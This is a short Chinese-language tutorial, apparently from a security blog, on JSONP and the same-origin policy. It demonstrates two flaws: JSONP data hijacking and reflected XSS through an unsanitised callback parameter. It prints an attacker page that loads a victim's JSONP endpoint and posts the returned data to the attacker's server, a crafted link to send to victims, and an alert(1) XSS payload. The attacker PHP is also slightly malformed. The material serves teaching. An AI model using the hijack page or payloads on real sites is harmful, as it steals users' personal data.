0x01 Jsonp简介:
Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。
为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP)呢?这是因为同源策略。
同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。
同源的条件:
1、协议相同
2、域名相同
3、端口相同
相关文章:https://www.sojson.com/blog/121.html
0x02 JSONP导致的劫持漏洞
服务端 GetUser.php
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
攻击者
<?php
$url = $_GET['url'] ? $_GET['url'] : "http://www.aaa.com";
$callback = $_GET['c'] ? $_GET['c'] : "json";
$url = htmlspecialchars(addslashes($url));
$callback = htmlspecialchars(addslashes($callback));
<script>
function ccc(a){
var info = JSON.stringify(a)
$.post("./get.php", {
info: info,
},);
}
</script>
<script src="'. $url .'?'.$callback .'=ccc"></script>';
echo '<script src="./js/jquery-2.2.4.min.js"></script>';
?>
攻击者构造了一个payload:
http://攻击者/jsonp/index.php?c=服务端的回调参数&url=http://服务端/getUser.php
然后将这个发送给受害者,当受害者一点击了,攻击者就能获取受害者相应的敏感信息
0x02 JSONP导致的XSS漏洞
服务端 GetUser.php
<?php
header('Content-type: application/json');
$jsoncallback = $_REQUEST ['jsoncallback'];//获取回调函数名
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
攻击者构造了一个payload:
http://服务端/getUser.php?jsoncallback=<script>alert(1)</script>